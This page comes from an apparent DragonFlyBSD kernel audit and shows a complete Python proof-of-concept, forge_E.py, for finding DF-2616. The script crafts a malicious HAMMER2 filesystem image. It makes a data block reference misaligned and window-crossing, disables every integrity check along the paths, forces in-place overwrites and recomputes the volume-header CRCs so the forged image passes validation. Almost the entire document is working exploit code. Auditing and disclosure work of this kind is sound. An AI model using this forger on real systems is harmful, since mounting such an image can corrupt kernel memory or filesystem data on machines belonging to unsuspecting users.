DragonFlyBSD Kernel Audit
DF-2616 / forge_E.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-2616 PoC image forger (v2, variant E grooming base).

Base image: newfs_hammer2 -L testvol; files: f1 (519 B) + w0..w31
(65533 B each, one 64KB data block per file, distinct 64KB windows).
The PFS directory uses INDIRECT blocks (33 entries > 4 direct slots),
so the walker handles both inode blocksets (+0x200, 4x128B) and
indirect-block bref arrays (from offset 0).

Variant E output:
  - f1 DATA bref crossed: data_off = (own window)|0xFF00|radix
    (VALID radix, misaligned AND 64KB-window-crossing), methods=0x00
    (CHECK_NONE|COMP_NONE), modify_tid=0x1000 (enables the overwrite-
    in-place path, hammer2_chain.c:1504-1516).
  - every w-file DATA bref: methods=0x00 + modify_tid=0x1000 so a
    rewrite goes IN-PLACE (dirties its window's DIO buffer).
  - all ancestor brefs on every crafted path: methods=0x00 so no
    check code is ever verified (testcheck returns 1 for CHECK_NONE,
    hammer2_chain.c:5531-5536).
  - the three volume-header CRC32Cs recomputed.
"""
import struct, sys

SEED = 0x4D617274446C6C6E  # XXH_HAMMER2_SEED

# ---------------- CRC32C (matches sys/libkern/icrc32.c) --------------------
def _mk():
    poly = 0x82F63B78
    t = []
    for n in range(256):
        c = n
        for _ in range(8):
            c = (c >> 1) ^ poly if (c & 1) else (c >> 1)
        t.append(c)
    return t
_T = _mk()

def iscsi_crc32(data):
    crc = 0xFFFFFFFF
    for b in data:
        crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF

assert iscsi_crc32(b"123456789") == 0xE3069283

RADIX_MASK = 0x3F
INODE_DATA_BLOCKSET = 0x200
BREF = 128
T_EMPTY, T_INODE, T_DATA, T_DIRENT, T_INDIRECT = 0, 1, 3, 4, 2

def bref_parse(buf, off):
    t, methods = struct.unpack_from('<2B', buf, off)
    key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8)
    return dict(type=t, methods=methods, key=key, data_off=doff, off=off)

def recompute_volhdr_crcs(buf):
    c1 = iscsi_crc32(bytes(buf[512:1024]))
    struct.pack_into('<I', buf, 0x1E0 + 6 * 4, c1)
    c0 = iscsi_crc32(bytes(buf[0:508]))
    struct.pack_into('<I', buf, 0x1E0 + 7 * 4, c0)
    cv = iscsi_crc32(bytes(buf[0:0xFFFC]))
    struct.pack_into('<I', buf, 0xFFFC, cv)

def main():
    if len(sys.argv) != 3:
        print("usage: forge_E.py <base.img> <out_E.img>")
        sys.exit(2)
    base, outE = sys.argv[1:3]
    img = bytearray(open(base, 'rb').read())
    volhdr = img[0:0x10000]
    assert struct.unpack_from('<Q', volhdr, 0)[0] == 0x48414D3205172011

    files = {}       # inum -> list of (desc, data_bref_off, data_off, radix)
    inode_brefs = {} # inum -> desc path of its inode bref

    def scan_file_data(fblk, desc, inum):
        """scan a file inode block (and indirects) for DATA brefs"""
        for i in range(4):
            boff = fblk + INODE_DATA_BLOCKSET + i * BREF
            br = bref_parse(img, boff)
            if br['type'] == T_DATA and (br['data_off'] & RADIX_MASK):
                files.setdefault(inum, []).append(
                    (desc + [(fblk, boff)], br['data_off']))
            elif br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
                scan_indirect(br['data_off'] & ~RADIX_MASK,
                              br['data_off'] & RADIX_MASK,
                              desc + [(fblk, boff)], inum)

    def scan_indirect(blk, radix, desc, inum=None):
        nslots = min((1 << radix) // BREF, 1024)
        for i in range(nslots):
            boff = blk + i * BREF
            br = bref_parse(img, boff)
            if br['type'] == 0:
                if i > 8 and br['type'] == 0:
                    pass
                continue
            if br['type'] == T_DATA and (br['data_off'] & RADIX_MASK):
                files.setdefault(inum, []).append(
                    (desc + [(blk, boff)], br['data_off']))
            elif br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
                scan_indirect(br['data_off'] & ~RADIX_MASK,
                              br['data_off'] & RADIX_MASK,
                              desc + [(blk, boff)], inum)

    def scan_dir_tree(blk, desc, depth):
        """scan an inode block's blockset + indirects for INODE children"""
        for i in range(4):
            boff = blk + INODE_DATA_BLOCKSET + i * BREF
            br = bref_parse(img, boff)
            if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK):
                handle_inode_child(br, desc + [(blk, boff)], depth)
            elif br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
                scan_dir_indirect(br['data_off'] & ~RADIX_MASK,
                                  br['data_off'] & RADIX_MASK,
                                  desc + [(blk, boff)], depth)

    def scan_dir_indirect(blk, radix, desc, depth):
        nslots = min((1 << radix) // BREF, 1024)
        for i in range(nslots):
            boff = blk + i * BREF
            br = bref_parse(img, boff)
            if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK):
                handle_inode_child(br, desc + [(blk, boff)], depth)
            elif br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
                scan_dir_indirect(br['data_off'] & ~RADIX_MASK,
                                  br['data_off'] & RADIX_MASK,
                                  desc + [(blk, boff)], depth)

    def handle_inode_child(br, desc, depth):
        inum = br['key']
        if 0x400 <= inum <= 0x420:
            inode_brefs[inum] = desc
            scan_file_data(br['data_off'] & ~RADIX_MASK, desc, inum)
        elif depth < 3 and (br['data_off'] & RADIX_MASK):
            scan_dir_tree(br['data_off'] & ~RADIX_MASK, desc, depth + 1)

    sroot0 = None
    for i in range(4):
        br = bref_parse(volhdr, 0x200 + i * BREF)
        if br['data_off']:
            sroot0 = br
            break
    sroot_blk = sroot0['data_off'] & ~RADIX_MASK
    print("[walk] sroot bref @%#x -> blk @%#x" % (sroot0['off'], sroot_blk))
    scan_dir_tree(sroot_blk, [(0, sroot0['off'])], 0)

    assert len(files) == 33, "expected 33 files, got %d: %s" % (
        len(files), sorted(hex(k) for k in files))
    for inum in sorted(files):
        for (desc, doff) in files[inum]:
            print("[walk] inum %#x: DATA doff=%#x radix=%d window=%#x" %
                  (inum, doff, doff & RADIX_MASK, doff & ~0xFFFF))

    # ---------------- craft variant E -------------------------------------
    imgE = bytearray(img)
    nocheck_brefs = set()

    # f1 = inum 0x400: cross its (single) data bref inside its own window
    (f1desc, f1doff) = files[0x400][0]
    radix1 = f1doff & RADIX_MASK
    pbase1 = f1doff & ~0xFFFF
    cross1 = pbase1 | 0xFF00 | radix1
    f1boff = f1desc[-1][1]
    struct.pack_into('<Q', imgE, f1boff + 0x20, cross1)
    struct.pack_into('<B', imgE, f1boff + 0x01, 0x00)
    struct.pack_into('<Q', imgE, f1boff + 0x18, 0x1000)
    for (blk, b) in f1desc:
        nocheck_brefs.add(b)
    print("[E] f1 DATA %#x -> %#x (radix %d VALID, in-window=%#x, OOB=%#x)" %
          (f1doff, cross1, radix1, 0x10000 - 0xFF00,
           (0xFF00 + (1 << radix1)) - 0x10000))

    # w files: relocate each one's data block into its OWN 64KB window
    # (valid geometry: window-aligned, radix kept), methods=0 + modify_tid
    # so a rewrite goes IN-PLACE (dirties that window's DIO buffer).
    for inum in range(0x401, 0x421):
        for (desc, doff) in files[inum]:
            boff = desc[-1][1]
            radix = doff & RADIX_MASK
            old = doff & ~RADIX_MASK
            win = 0x2100000 + (inum - 0x401) * 0x10000
            imgE[win:win + (1 << radix)] = imgE[old:old + (1 << radix)]
            struct.pack_into('<Q', imgE, boff + 0x20, win | radix)
            struct.pack_into('<B', imgE, boff + 0x01, 0x00)
            struct.pack_into('<Q', imgE, boff + 0x18, 0x1000)
            for (blk, b) in desc:
                nocheck_brefs.add(b)
    # all ancestor brefs on all paths -> CHECK_NONE (never verified)
    for b in nocheck_brefs:
        if b >= 0x10000:                 # inside the image, not the volhdr
            struct.pack_into('<B', imgE, b + 0x01, 0x00)
    struct.pack_into('<B', imgE, sroot0['off'] + 0x01, 0x00)  # sroot bref
    recompute_volhdr_crcs(imgE)
    open(outE, 'wb').write(imgE)
    print("[+] wrote %s" % outE)

if __name__ == '__main__':
    main()